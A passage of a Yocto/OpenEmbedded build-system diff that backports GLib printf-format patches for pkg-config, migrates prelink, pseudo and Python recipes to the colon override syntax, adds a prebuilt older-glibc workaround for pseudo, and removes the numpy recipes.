+ # long long is a 64 bit integer.
+ AC_MSG_CHECKING(for format to printf and scanf a guint64)
+ AC_CACHE_VAL(glib_cv_long_long_format,[
+@@ -599,14 +598,6 @@ AS_IF([test x$glib_native_win32 != xyes
+ AC_DEFINE(HAVE_INT64_AND_I64,1,[define to support printing 64-bit integers with format I64])
+ fi
+ ], [AC_MSG_RESULT(none)])
+-],[ test x$ac_cv_sizeof___int64 = x8], [
+- # __int64 is a 64 bit integer.
+- AC_MSG_CHECKING(for format to printf and scanf a guint64)
+- # We know this is MSVCRT.DLL, and what the formats are
+- glib_cv_long_long_format=I64
+- AC_MSG_RESULT(%${glib_cv_long_long_format}u)
+- AC_DEFINE(HAVE_LONG_LONG_FORMAT,1,[define if system printf can print long long])
+- AC_DEFINE(HAVE_INT64_AND_I64,1,[define to support printing 64-bit integers with format I64])
+ ])
+
+ AC_C_CONST
+@@ -872,9 +863,6 @@ case $ac_cv_sizeof_size_t in
+ $ac_cv_sizeof_long_long)
+ glib_size_type='long long'
+ ;;
+- $ac_cv_sizeof__int64)
+- glib_size_type='__int64'
+- ;;
+ *) AC_MSG_ERROR([No type matching size_t in size])
+ ;;
+ esac
+@@ -931,9 +919,6 @@ case $ac_cv_sizeof_ssize_t in
+ $ac_cv_sizeof_long_long)
+ glib_ssize_type='long long'
+ ;;
+- $ac_cv_sizeof__int64)
+- glib_ssize_type='__int64'
+- ;;
+ *) AC_MSG_ERROR([No type matching ssize_t in size])
+ ;;
+ esac
+@@ -2985,17 +2970,6 @@ $ac_cv_sizeof_long_long)
+ gint64_constant='(G_GNUC_EXTENSION (val##LL))'
+ guint64_constant='(G_GNUC_EXTENSION (val##ULL))'
+ ;;
+-$ac_cv_sizeof___int64)
+- gint64='__int64'
+- if test -n "$glib_cv_long_long_format"; then
+- gint64_modifier='"'$glib_cv_long_long_format'"'
+- gint64_format='"'$glib_cv_long_long_format'i"'
+- guint64_format='"'$glib_cv_long_long_format'u"'
+- fi
+- glib_extension=
+- gint64_constant='(val##i64)'
+- guint64_constant='(val##ui64)'
+- ;;
+ esac
+ glib_size_t=$ac_cv_sizeof_size_t
+ glib_ssize_t=$ac_cv_sizeof_ssize_t
+@@ -3020,7 +2994,7 @@ long)
+ gsize_format='"lu"'
+ glib_msize_type='LONG'
+ ;;
+-"long long"|__int64)
++"long long")
+ gsize_modifier='"I64"'
+ gsize_format='"I64u"'
+ glib_msize_type='INT64'
+@@ -3043,7 +3017,7 @@ long)
+ gssize_format='"li"'
+ glib_mssize_type='LONG'
+ ;;
+-"long long"|__int64)
++"long long")
+ gssize_modifier='"I64"'
+ gssize_format='"I64i"'
+ glib_mssize_type='INT64'
+@@ -3080,14 +3054,6 @@ $ac_cv_sizeof_long_long)
+ glib_gpi_cast='(gint64)'
+ glib_gpui_cast='(guint64)'
+ ;;
+-$ac_cv_sizeof___int64)
+- glib_intptr_type_define=__int64
+- gintptr_modifier='"I64"'
+- gintptr_format='"I64i"'
+- guintptr_format='"I64u"'
+- glib_gpi_cast='(gint64)'
+- glib_gpui_cast='(guint64)'
+- ;;
+ *)
+ glib_unknown_void_p=yes
+ ;;
+@@ -3258,9 +3224,6 @@ $ac_cv_sizeof_long)
+ $ac_cv_sizeof_long_long)
+ gint64='long long'
+ ;;
+-$ac_cv_sizeof___int64)
+- gint64='__int64'
+- ;;
+ esac
+
+ AC_CHECK_TYPE([guint32],,,[typedef unsigned $gint32 guint32;])
diff --git a/meta/recipes-devtools/pkgconfig/pkgconfig/0001-autotools-use-C99-printf-format-specifiers-on-Window.patch b/meta/recipes-devtools/pkgconfig/pkgconfig/0001-autotools-use-C99-printf-format-specifiers-on-Window.patch
new file mode 100644
index 0000000000..a4e92da34b
--- /dev/null
+++ b/meta/recipes-devtools/pkgconfig/pkgconfig/0001-autotools-use-C99-printf-format-specifiers-on-Window.patch
@@ -0,0 +1,68 @@
+From 3d7cde654c4c6f3bdad32f5521f28f5802a7c377 Mon Sep 17 00:00:00 2001
+From: Christoph Reiter <reiter.christoph@gmail.com>
+Date: Fri, 24 Aug 2018 21:46:47 +0200
+Subject: [PATCH] autotools: use C99 printf format specifiers on Windows. Fixes
+ #1497
+
+Since we now require a C99 compatible printf and use gnulib on Windows,
+we also mark our printf functions as gnu_printf. GCC complains about the
+Windows specific I64 specifiers we still write to glibconfig.h with the
+autotools build.
+
+To fix this switch all I64(x) to ll(x).
+
+This also makes the glibconfig.h output for those macros match the ones
+we get when using meson.
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+Upstream-Status: Backport [https://github.com/GNOME/glib/commit/3d7cde654c]
+---
+ configure.ac | 18 +++++++++---------
+ 1 file changed, 9 insertions(+), 9 deletions(-)
+
+--- a/glib/configure.ac
++++ b/glib/configure.ac
+@@ -576,7 +576,7 @@ AS_IF([test x$ac_cv_sizeof_long_long = x
+ # long long is a 64 bit integer.
+ AC_MSG_CHECKING(for format to printf and scanf a guint64)
+ AC_CACHE_VAL(glib_cv_long_long_format,[
+- for format in ll q I64; do
++ for format in ll q; do
+ AC_TRY_RUN([#include <stdio.h>
+ int main()
+ {
+@@ -2995,8 +2995,8 @@ long)
+ glib_msize_type='LONG'
+ ;;
+ "long long")
+- gsize_modifier='"I64"'
+- gsize_format='"I64u"'
++ gsize_modifier='"ll"'
++ gsize_format='"llu"'
+ glib_msize_type='INT64'
+ ;;
+ esac
+@@ -3018,8 +3018,8 @@ long)
+ glib_mssize_type='LONG'
+ ;;
+ "long long")
+- gssize_modifier='"I64"'
+- gssize_format='"I64i"'
++ gssize_modifier='"ll"'
++ gssize_format='"lli"'
+ glib_mssize_type='INT64'
+ ;;
+ esac
+@@ -3048,9 +3048,9 @@ $ac_cv_sizeof_long)
+ ;;
+ $ac_cv_sizeof_long_long)
+ glib_intptr_type_define='long long'
+- gintptr_modifier='"I64"'
+- gintptr_format='"I64i"'
+- guintptr_format='"I64u"'
++ gintptr_modifier='"ll"'
++ gintptr_format='"lli"'
++ guintptr_format='"llu"'
+ glib_gpi_cast='(gint64)'
+ glib_gpui_cast='(guint64)'
+ ;;
diff --git a/meta/recipes-devtools/pkgconfig/pkgconfig/fix-glib-configure-libtool-usage.patch b/meta/recipes-devtools/pkgconfig/pkgconfig/fix-glib-configure-libtool-usage.patch
deleted file mode 100644
index 01c62472c1..0000000000
--- a/meta/recipes-devtools/pkgconfig/pkgconfig/fix-glib-configure-libtool-usage.patch
+++ /dev/null
@@ -1,45 +0,0 @@
-
-Upstream-Status: Inappropriate [embedded specific]
-
-Signed-off-by: Saul Wold <sgw@linux.intel.com>
-
-
-Index: pkg-config-0.28/glib/configure.ac
-===================================================================
---- pkg-config-0.28.orig/glib/configure.ac
-+++ pkg-config-0.28/glib/configure.ac
-@@ -1438,7 +1438,7 @@ if test x"$glib_native_win32" = xyes; th
- G_MODULE_LDFLAGS=
- else
- export SED
-- G_MODULE_LDFLAGS=`(./libtool --config; echo eval echo \\$export_dynamic_flag_spec) | sh`
-+ G_MODULE_LDFLAGS=`(./${host_alias}-libtool --config; echo eval echo \\$export_dynamic_flag_spec) | sh`
- fi
- dnl G_MODULE_IMPL= don't reset, so cmd-line can override
- G_MODULE_NEED_USCORE=0
-@@ -1503,13 +1503,13 @@ if test "$G_MODULE_IMPL" = "G_MODULE_IMP
- LDFLAGS="$LDFLAGS $G_MODULE_LDFLAGS"
- dnl *** check for OSF1/5.0 RTLD_GLOBAL brokenness
- echo "void glib_plugin_test(void) { }" > plugin.c
-- ${SHELL} ./libtool --mode=compile --tag=CC ${CC} ${CFLAGS} \
-+ ${SHELL} ./${host_alias}-libtool --mode=compile --tag=CC ${CC} ${CFLAGS} \
- ${CPPFLAGS} -c -o plugin.lo plugin.c >/dev/null 2>&1
-- ${SHELL} ./libtool --mode=link --tag=CC ${CC} ${CFLAGS} \
-+ ${SHELL} ./${host_alias}-libtool --mode=link --tag=CC ${CC} ${CFLAGS} \
- ${LDFLAGS} -module -o plugin.la -export-dynamic \
- -shrext ".o" -avoid-version plugin.lo \
- -rpath /dont/care >/dev/null 2>&1
-- eval `./libtool --config | grep ^objdir`
-+ eval `./${host_alias}-libtool --config | grep ^objdir`
- AC_CACHE_CHECK([for RTLD_GLOBAL brokenness],
- glib_cv_rtldglobal_broken,[
- AC_TRY_RUN([
-@@ -1582,7 +1582,7 @@ fi
-
- AC_MSG_CHECKING(for the suffix of module shared libraries)
- export SED
--shrext_cmds=`./libtool --config | grep '^shrext_cmds='`
-+shrext_cmds=`./${host_alias}-libtool --config | grep '^shrext_cmds='`
- eval $shrext_cmds
- module=yes eval std_shrext=$shrext_cmds
- # chop the initial dot
diff --git a/meta/recipes-devtools/pkgconfig/pkgconfig_git.bb b/meta/recipes-devtools/pkgconfig/pkgconfig_git.bb
index 52ef2a9779..16efcef561 100644
--- a/meta/recipes-devtools/pkgconfig/pkgconfig_git.bb
+++ b/meta/recipes-devtools/pkgconfig/pkgconfig_git.bb
@@ -8,14 +8,15 @@ SECTION = "console/utils"
LICENSE = "GPLv2+"
LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
-SRCREV = "edf8e6f0ea77ede073f07bff0d2ae1fc7a38103b"
+SRCREV = "d97db4fae4c1cd099b506970b285dc2afd818ea2"
PV = "0.29.2+git${SRCPV}"
-SRC_URI = "git://anongit.freedesktop.org/pkg-config \
+SRC_URI = "git://gitlab.freedesktop.org/pkg-config/pkg-config.git;branch=master;protocol=https \
file://pkg-config-esdk.in \
file://pkg-config-native.in \
- file://fix-glib-configure-libtool-usage.patch \
file://0001-glib-gettext.m4-Update-AM_GLIB_GNU_GETTEXT-to-match-.patch \
+ file://0001-autotools-remove-support-for-the-__int64-type.-See-1.patch \
+ file://0001-autotools-use-C99-printf-format-specifiers-on-Window.patch \
"
S = "${WORKDIR}/git"
@@ -28,8 +29,8 @@ inherit autotools
EXTRA_OECONF += "--disable-indirect-deps"
PACKAGECONFIG ??= "glib"
-PACKAGECONFIG_class-native = ""
-PACKAGECONFIG_class-nativesdk = ""
+PACKAGECONFIG:class-native = ""
+PACKAGECONFIG:class-nativesdk = ""
PACKAGECONFIG[glib] = "--without-internal-glib,--with-internal-glib,glib-2.0 pkgconfig-native"
@@ -40,17 +41,17 @@ BBCLASSEXTEND = "native nativesdk"
# Set an empty dev package to ensure the base PN package gets
# the pkg.m4 macros, pkgconfig does not deliver any other -dev
# files.
-FILES_${PN}-dev = ""
-FILES_${PN} += "${datadir}/aclocal/pkg.m4"
+FILES:${PN}-dev = ""
+FILES:${PN} += "${datadir}/aclocal/pkg.m4"
# When using the RPM generated automatic package dependencies, some packages
# will end up requiring 'pkgconfig(pkg-config)'. Allow this behavior by
# specifying an appropriate provide.
-RPROVIDES_${PN} += "pkgconfig(pkg-config)"
+RPROVIDES:${PN} += "pkgconfig(pkg-config)"
# Install a pkg-config-native wrapper that will use the native sysroot instead
# of the MACHINE sysroot, for using pkg-config when building native tools.
-do_install_append_class-native () {
+do_install:append:class-native () {
sed -e "s|@PATH_NATIVE@|${PKG_CONFIG_PATH}|" \
-e "s|@LIBDIR_NATIVE@|${PKG_CONFIG_LIBDIR}|" \
< ${WORKDIR}/pkg-config-native.in > ${B}/pkg-config-native
@@ -65,9 +66,9 @@ pkgconfig_sstate_fixup_esdk () {
if [ "${BB_CURRENTTASK}" = "populate_sysroot_setscene" -a "${WITHIN_EXT_SDK}" = "1" ] ; then
pkgconfdir="${SSTATE_INSTDIR}/recipe-sysroot-native/${bindir_native}"
mv $pkgconfdir/pkg-config $pkgconfdir/pkg-config.real
- lnr $pkgconfdir/pkg-config-esdk $pkgconfdir/pkg-config
+ ln -rs $pkgconfdir/pkg-config-esdk $pkgconfdir/pkg-config
sed -i -e "s|^pkg-config|pkg-config.real|" $pkgconfdir/pkg-config-native
fi
}
-SSTATEPOSTUNPACKFUNCS_append_class-native = " pkgconfig_sstate_fixup_esdk"
+SSTATEPOSTUNPACKFUNCS:append:class-native = " pkgconfig_sstate_fixup_esdk"
diff --git a/meta/recipes-devtools/prelink/prelink_git.bb b/meta/recipes-devtools/prelink/prelink_git.bb
index e197af9ee9..24713b61f8 100644
--- a/meta/recipes-devtools/prelink/prelink_git.bb
+++ b/meta/recipes-devtools/prelink/prelink_git.bb
@@ -19,11 +19,11 @@ PV = "1.0+git${SRCPV}"
#
# Default is prelinking is enabled.
#
-SUMMARY_${PN}-cron = "Cron scripts to control automatic prelinking"
-DESCRIPTION_${PN}-cron = "Cron scripts to control automatic prelinking. \
+SUMMARY:${PN}-cron = "Cron scripts to control automatic prelinking"
+DESCRIPTION:${PN}-cron = "Cron scripts to control automatic prelinking. \
See: ${sysconfdir}/cron.daily/prelink for configuration information."
-FILES_${PN}-cron = "${sysconfdir}/cron.daily ${sysconfdir}/default"
+FILES:${PN}-cron = "${sysconfdir}/cron.daily ${sysconfdir}/default"
PACKAGES =+ "${PN}-cron"
@@ -37,10 +37,10 @@ SRC_URI = "git://git.yoctoproject.org/prelink-cross.git;branch=cross_prelink_sta
UPSTREAM_CHECK_COMMITS = "1"
# error: error.h: No such file or directory
-COMPATIBLE_HOST_libc-musl = 'null'
+COMPATIBLE_HOST:libc-musl = 'null'
TARGET_OS_ORIG := "${TARGET_OS}"
-OVERRIDES_append = ":${TARGET_OS_ORIG}"
+OVERRIDES:append = ":${TARGET_OS_ORIG}"
S = "${WORKDIR}/git"
@@ -48,9 +48,11 @@ inherit autotools
BBCLASSEXTEND = "native"
-EXTRA_OECONF = "--disable-selinux --with-pkgversion=${PV}-${PR} \
+EXTRA_OECONF = "--with-pkgversion=${PV}-${PR} \
--with-bugurl=http://bugzilla.yoctoproject.org/"
+PACKAGECONFIG ??= ""
+PACKAGECONFIG[selinux] = "--enable-selinux,--disable-selinux,libselinux"
#
# For target prelink we need to ensure paths match the lib path layout
@@ -144,12 +146,12 @@ python () {
bb.build.addtask('do_linkerpaths', 'do_configure', 'do_patch', d)
}
-do_configure_prepend () {
+do_configure:prepend () {
# Disable documentation!
echo "all:" > ${S}/doc/Makefile.am
}
-do_install_append () {
+do_install:append () {
install -d ${D}${sysconfdir}/cron.daily ${D}${sysconfdir}/default ${D}${sysconfdir}/rpm
install -m 0644 ${WORKDIR}/prelink.conf ${D}${sysconfdir}/prelink.conf
install -m 0644 ${WORKDIR}/prelink.cron.daily ${D}${sysconfdir}/cron.daily/prelink
@@ -161,7 +163,7 @@ do_install_append () {
# Prelinking during a cross install should be handled by the image-prelink
# bbclass. If the user desires this to run on the target at first boot
# they will need to create a custom boot script.
-pkg_postinst_prelink() {
+pkg_postinst:prelink() {
#!/bin/sh
if [ "x$D" != "x" ]; then
@@ -171,7 +173,7 @@ fi
prelink -a
}
-pkg_prerm_prelink() {
+pkg_prerm:prelink() {
#!/bin/sh
if [ "x$D" != "x" ]; then
diff --git a/meta/recipes-devtools/pseudo/files/build-oldlibc b/meta/recipes-devtools/pseudo/files/build-oldlibc
new file mode 100755
index 0000000000..85c438de4e
--- /dev/null
+++ b/meta/recipes-devtools/pseudo/files/build-oldlibc
@@ -0,0 +1,20 @@
+#!/bin/sh
+#
+# Script to re-generate pseudo-prebuilt-2.33.tar.xz
+#
+# Copyright (C) 2021 Richard Purdie
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
+for i in x86_64 aarch64 i686; do
+ if [ ! -e $i-nativesdk-libc.tar.xz ]; then
+ wget http://downloads.yoctoproject.org/releases/uninative/3.2/$i-nativesdk-libc.tar.xz
+ fi
+ tar -xf $i-nativesdk-libc.tar.xz --wildcards \*/lib/libpthread\* \*/lib/libdl\*
+ cd $i-linux/lib
+ ln -s libdl.so.2 libdl.so
+ ln -s libpthread.so.0 libpthread.so
+ cd ../..
+done
+tar -cJf pseudo-prebuilt-2.33.tar.xz *-linux \ No newline at end of file
diff --git a/meta/recipes-devtools/pseudo/files/older-glibc-symbols.patch b/meta/recipes-devtools/pseudo/files/older-glibc-symbols.patch
new file mode 100644
index 0000000000..c453b5f735
--- /dev/null
+++ b/meta/recipes-devtools/pseudo/files/older-glibc-symbols.patch
@@ -0,0 +1,57 @@
+If we link against a newer glibc 2.34 and then try and our LD_PRELOAD is run against a
+binary on a host with an older libc, we see symbol errors since in glibc 2.34, pthread
+and dl are merged into libc itself.
+
+We need to use the older form of linking so use glibc binaries from an older release
+to force this. We only use minimal symbols from these anyway.
+
+pthread_atfork is problematic, particularly on arm so use the internal glibc routine
+it maps too. This was always present in the main libc from 2.3.2 onwards.
+
+Yes this is horrible. Better solutions welcome.
+
+There is more info in the bug: [YOCTO #14521]
+
+Upstream-Status: Inappropriate [this patch is native and nativesdk]
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Tweak library search order, make prebuilt lib ahead of recipe lib
+Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
+---
+ Makefile.in | 2 +-
+ pseudo_wrappers.c | 5 ++++-
+ 2 files changed, 5 insertions(+), 2 deletions(-)
+
+diff --git a/Makefile.in b/Makefile.in
+--- a/Makefile.in
++++ b/Makefile.in
+@@ -120,7 +120,7 @@ $(PSEUDODB): pseudodb.o $(SHOBJS) $(DBOBJS) pseudo_ipc.o | $(BIN)
+ libpseudo: $(LIBPSEUDO)
+
+ $(LIBPSEUDO): $(WRAPOBJS) pseudo_client.o pseudo_ipc.o $(SHOBJS) | $(LIB)
+- $(CC) $(CFLAGS) $(CFLAGS_PSEUDO) -shared -o $(LIBPSEUDO) \
++ $(CC) $(CFLAGS) -Lprebuilt/$(shell uname -m)-linux/lib/ $(CFLAGS_PSEUDO) -shared -o $(LIBPSEUDO) \
+ pseudo_client.o pseudo_ipc.o \
+ $(WRAPOBJS) $(SHOBJS) $(LDFLAGS) $(CLIENT_LDFLAGS)
+
+diff --git a/pseudo_wrappers.c b/pseudo_wrappers.c
+--- a/pseudo_wrappers.c
++++ b/pseudo_wrappers.c
+@@ -100,10 +100,13 @@ static void libpseudo_atfork_child(void)
+ pseudo_mutex_holder = 0;
+ }
+
++extern void *__dso_handle;
++extern int __register_atfork (void (*) (void), void (*) (void), void (*) (void), void *);
++
+ static void
+ _libpseudo_init(void) {
+ if (!_libpseudo_initted)
+- pthread_atfork(NULL, NULL, libpseudo_atfork_child);
++ __register_atfork (NULL, NULL, libpseudo_atfork_child, &__dso_handle == NULL ? NULL : __dso_handle);
+
+ pseudo_getlock();
+ pseudo_antimagic();
+--
+2.27.0
+
diff --git a/meta/recipes-devtools/pseudo/pseudo.inc b/meta/recipes-devtools/pseudo/pseudo.inc
index 50e30064bd..7ba414ca25 100644
--- a/meta/recipes-devtools/pseudo/pseudo.inc
+++ b/meta/recipes-devtools/pseudo/pseudo.inc
@@ -4,19 +4,20 @@
SUMMARY = "Pseudo gives fake root capabilities to a normal user"
HOMEPAGE = "http://git.yoctoproject.org/cgit/cgit.cgi/pseudo"
+DESCRIPTION = "The pseudo utility offers a way to run commands in a virtualized root environment."
LIC_FILES_CHKSUM = "file://COPYING;md5=a1d8023a6f953ac6ea4af765ff62d574"
SECTION = "base"
LICENSE = "LGPL2.1"
DEPENDS = "sqlite3 attr"
-FILES_${PN} = "${prefix}/lib/pseudo/lib*/libpseudo.so ${bindir}/* ${localstatedir}/pseudo ${prefix}/var/pseudo"
-INSANE_SKIP_${PN} += "libdir"
-INSANE_SKIP_${PN}-dbg += "libdir"
+FILES:${PN} = "${prefix}/lib/pseudo/lib*/libpseudo.so ${bindir}/* ${localstatedir}/pseudo ${prefix}/var/pseudo"
+INSANE_SKIP:${PN} += "libdir"
+INSANE_SKIP:${PN}-dbg += "libdir"
PROVIDES += "virtual/fakeroot"
MAKEOPTS = ""
-MAKEOPTS_class-native = "'RPATH=-Wl,--rpath=XORIGIN/../../../sqlite3-native/usr/lib/'"
+MAKEOPTS:class-native = "'RPATH=-Wl,--rpath=XORIGIN/../../../sqlite3-native/usr/lib/'"
inherit siteinfo pkgconfig
@@ -25,7 +26,7 @@ do_configure () {
}
NO32LIBS ??= "1"
-NO32LIBS_class-nativesdk = "1"
+NO32LIBS:class-nativesdk = "1"
PSEUDO_EXTRA_OPTS ?= "--enable-force-async --without-passwd-fallback --enable-epoll --enable-xattr"
@@ -78,7 +79,7 @@ warn_32bit_missing() {
# Two below are the same
# If necessary compile for the alternative machine arch. This is only
# necessary in a native build.
-do_compile_prepend_class-native () {
+do_compile:prepend:class-native () {
maybe_make32
if $make32; then
# We need the 32-bit libpseudo on a 64-bit machine...
@@ -99,7 +100,7 @@ do_compile_prepend_class-native () {
fi
}
-do_compile_prepend_class-nativesdk () {
+do_compile:prepend:class-nativesdk () {
maybe_make32
if $make32; then
# We need the 32-bit libpseudo on a 64-bit machine.
@@ -111,11 +112,24 @@ do_compile_prepend_class-nativesdk () {
fi
}
+do_compile:append:class-native () {
+ if [ '${@bb.data.inherits_class('uninative', d)}' = 'True' ]; then
+ for i in PSEUDO_PORT_UNIX_SYNCFS PSEUDO_PORT_UIDS_GENERIC PSEUDO_PORT_LINUX_NEWCLONE PSEUDO_PORT_LINUX_XATTR PSEUDO_PORT_LINUX_STATVFS; do
+ grep $i.1 ${S}/pseudo_ports.h
+ if [ $? != 0 ]; then
+ echo "$i not enabled in pseudo which is incompatible with uninative"
+ exit 1
+ fi
+ done
+ fi
+}
+
+
do_install () {
oe_runmake 'DESTDIR=${D}' ${MAKEOPTS} 'LIB=lib/pseudo/lib$(MARK64)' install
}
-do_install_append_class-native () {
+do_install:append:class-native () {
chrpath ${D}${bindir}/pseudo -r `chrpath ${D}${bindir}/pseudo | cut -d = -f 2 | sed s/XORIGIN/\\$ORIGIN/`
install -d ${D}${sysconfdir}
# The fallback files should never be modified
@@ -132,7 +146,7 @@ do_install_append_class-native () {
fi
}
-do_install_append_class-nativesdk () {
+do_install:append:class-nativesdk () {
maybe_make32
if $make32; then
mkdir -p ${D}${prefix}/lib/pseudo/lib
diff --git a/meta/recipes-devtools/pseudo/pseudo_git.bb b/meta/recipes-devtools/pseudo/pseudo_git.bb
index 2e13fec540..f9e3b46910 100644
--- a/meta/recipes-devtools/pseudo/pseudo_git.bb
+++ b/meta/recipes-devtools/pseudo/pseudo_git.bb
@@ -5,10 +5,17 @@ SRC_URI = "git://git.yoctoproject.org/pseudo;branch=oe-core \
file://fallback-passwd \
file://fallback-group \
"
+SRC_URI:append:class-native = " \
+ http://downloads.yoctoproject.org/mirror/sources/pseudo-prebuilt-2.33.tar.xz;subdir=git/prebuilt;name=prebuilt \
+ file://older-glibc-symbols.patch"
+SRC_URI:append:class-nativesdk = " \
+ http://downloads.yoctoproject.org/mirror/sources/pseudo-prebuilt-2.33.tar.xz;subdir=git/prebuilt;name=prebuilt \
+ file://older-glibc-symbols.patch"
+SRC_URI[prebuilt.sha256sum] = "ed9f456856e9d86359f169f46a70ad7be4190d6040282b84c8d97b99072485aa"
-SRCREV = "cca0d7f15b7197095cd587420d31b187620c3093"
+SRCREV = "d34f2f6cedccf8488730001bcbde6bb7499f8814"
S = "${WORKDIR}/git"
PV = "1.9.0+git${SRCPV}"
# error: use of undeclared identifier '_STAT_VER'
-COMPATIBLE_HOST_libc-musl = 'null'
+COMPATIBLE_HOST:libc-musl = 'null'
diff --git a/meta/recipes-devtools/python-numpy/python-numpy.inc b/meta/recipes-devtools/python-numpy/python-numpy.inc
deleted file mode 100644
index 40f81046ee..0000000000
--- a/meta/recipes-devtools/python-numpy/python-numpy.inc
+++ /dev/null
@@ -1,50 +0,0 @@
-SUMMARY = "A sophisticated Numeric Processing Package for Python"
-SECTION = "devel/python"
-LICENSE = "BSD-3-Clause & BSD-2-Clause & PSF & Apache-2.0 & BSD & MIT"
-LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=e527e2a94c4584cd192d03ffb1f4a744"
-
-SRCNAME = "numpy"
-
-SRC_URI = "https://github.com/${SRCNAME}/${SRCNAME}/releases/download/v${PV}/${SRCNAME}-${PV}.tar.gz \
- file://0001-Don-t-search-usr-and-so-on-for-libraries-by-default-.patch \
- file://0001-numpy-core-Define-RISCV-32-support.patch \
- "
-SRC_URI[sha256sum] = "9179d259a9bc53ed7b153d31fc3156d1ca560d61079f53191cf177c3efc4a498"
-
-UPSTREAM_CHECK_URI = "https://github.com/numpy/numpy/releases"
-UPSTREAM_CHECK_REGEX = "(?P<pver>\d+(\.\d+)+)\.tar"
-
-DEPENDS += "python3-cython-native"
-
-S = "${WORKDIR}/numpy-${PV}"
-
-CLEANBROKEN = "1"
-
-FILES_${PN}-staticdev += "${PYTHON_SITEPACKAGES_DIR}/numpy/core/lib/*.a ${PYTHON_SITEPACKAGES_DIR}/numpy/random/lib/*.a"
-
-# install what is needed for numpy.test()
-RDEPENDS_${PN} = "${PYTHON_PN}-unittest \
- ${PYTHON_PN}-difflib \
- ${PYTHON_PN}-pprint \
- ${PYTHON_PN}-pickle \
- ${PYTHON_PN}-shell \
- ${PYTHON_PN}-nose \
- ${PYTHON_PN}-doctest \
- ${PYTHON_PN}-datetime \
- ${PYTHON_PN}-distutils \
- ${PYTHON_PN}-misc \
- ${PYTHON_PN}-mmap \
- ${PYTHON_PN}-netclient \
- ${PYTHON_PN}-numbers \
- ${PYTHON_PN}-pydoc \
- ${PYTHON_PN}-pkgutil \
- ${PYTHON_PN}-email \
- ${PYTHON_PN}-compression \
- ${PYTHON_PN}-ctypes \
- ${PYTHON_PN}-threading \
- ${PYTHON_PN}-multiprocessing \
-"
-
-RDEPENDS_${PN}_class-native = ""
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python-numpy/python3-numpy_1.19.3.bb b/meta/recipes-devtools/python-numpy/python3-numpy_1.19.3.bb
deleted file mode 100644
index d388e88d25..0000000000
--- a/meta/recipes-devtools/python-numpy/python3-numpy_1.19.3.bb
+++ /dev/null
@@ -1,3 +0,0 @@
-inherit setuptools3
-require python-numpy.inc
-
diff --git a/meta/recipes-devtools/python/files/0001-conditionally-do-not-fetch-code-by-easy_install.patch b/meta/recipes-devtools/python/files/0001-conditionally-do-not-fetch-code-by-easy_install.patch
index 99c50e94cb..5e2ee454da 100644
--- a/meta/recipes-devtools/python/files/0001-conditionally-do-not-fetch-code-by-easy_install.patch
+++ b/meta/recipes-devtools/python/files/0001-conditionally-do-not-fetch-code-by-easy_install.patch
@@ -1,4 +1,4 @@
-From d2633b49275b20e7acf724567fe0189aab25771e Mon Sep 17 00:00:00 2001
+From da88c57fe03e4474ba20325edacf519e80c1d7a8 Mon Sep 17 00:00:00 2001
From: Hongxu Jia <hongxu.jia@windriver.com>
Date: Tue, 17 Jul 2018 10:13:38 +0800
Subject: [PATCH] conditionally do not fetch code by easy_install
@@ -15,10 +15,10 @@ Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
1 file changed, 5 insertions(+)
diff --git a/setuptools/command/easy_install.py b/setuptools/command/easy_install.py
-index 9ec83b7..7e97a07 100644
+index fc848d0..c04a5de 100644
--- a/setuptools/command/easy_install.py
+++ b/setuptools/command/easy_install.py
-@@ -636,6 +636,11 @@ class easy_install(Command):
+@@ -642,6 +642,11 @@ class easy_install(Command):
os.path.exists(tmpdir) and rmtree(tmpdir)
def easy_install(self, spec, deps=False):
diff --git a/meta/recipes-devtools/python/python-async.inc b/meta/recipes-devtools/python/python-async.inc
index af887dc4e5..fde864601c 100644
--- a/meta/recipes-devtools/python/python-async.inc
+++ b/meta/recipes-devtools/python/python-async.inc
@@ -9,6 +9,6 @@ inherit pypi
SRC_URI[md5sum] = "9b06b5997de2154f3bc0273f80bcef6b"
SRC_URI[sha256sum] = "ac6894d876e45878faae493b0cf61d0e28ec417334448ac0a6ea2229d8343051"
-RDEPENDS_${PN} += "${PYTHON_PN}-threading"
+RDEPENDS:${PN} += "${PYTHON_PN}-threading"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python-cython.inc b/meta/recipes-devtools/python/python-cython.inc
index b1e71f3ccd..93d6fdf13b 100644
--- a/meta/recipes-devtools/python/python-cython.inc
+++ b/meta/recipes-devtools/python/python-cython.inc
@@ -1,3 +1,5 @@
+SUMMARY = "The Cython language"
+HOMEPAGE = "https://pypi.org/project/Cython/"
DESCRIPTION = "Cython is a language specially designed for writing Python extension modules. \
It's designed to bridge the gap between the nice, high-level, easy-to-use world of Python \
and the messy, low-level world of C."
@@ -7,12 +9,12 @@ LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=e23fadd6ceef8c618fc1c65191d846fa"
PYPI_PACKAGE = "Cython"
BBCLASSEXTEND = "native nativesdk"
-SRC_URI[sha256sum] = "e57acb89bd55943c8d8bf813763d20b9099cc7165c0f16b707631a7654be9cad"
+SRC_URI[sha256sum] = "a87cbe3756e7c464acf3e9420d8741e62d3b2eace0846cb39f664ad378aab284"
UPSTREAM_CHECK_REGEX = "Cython-(?P<pver>.*)\.tar"
inherit pypi
-RDEPENDS_${PN}_class-target += "\
+RDEPENDS:${PN}:class-target += "\
${PYTHON_PN}-misc \
${PYTHON_PN}-netserver \
${PYTHON_PN}-pkgutil \
@@ -22,7 +24,7 @@ RDEPENDS_${PN}_class-target += "\
${PYTHON_PN}-xml \
"
-RDEPENDS_${PN}_class-nativesdk += "\
+RDEPENDS:${PN}:class-nativesdk += "\
nativesdk-${PYTHON_PN}-misc \
nativesdk-${PYTHON_PN}-netserver \
nativesdk-${PYTHON_PN}-pkgutil \
@@ -32,7 +34,7 @@ RDEPENDS_${PN}_class-nativesdk += "\
nativesdk-${PYTHON_PN}-xml \
"
-do_install_append() {
+do_install:append() {
# Make sure we use /usr/bin/env python
for PYTHSCRIPT in `grep -rIl '^#!.*python' ${D}`; do
sed -i -e '1s|^#!.*|#!/usr/bin/env ${PYTHON_PN}|' $PYTHSCRIPT
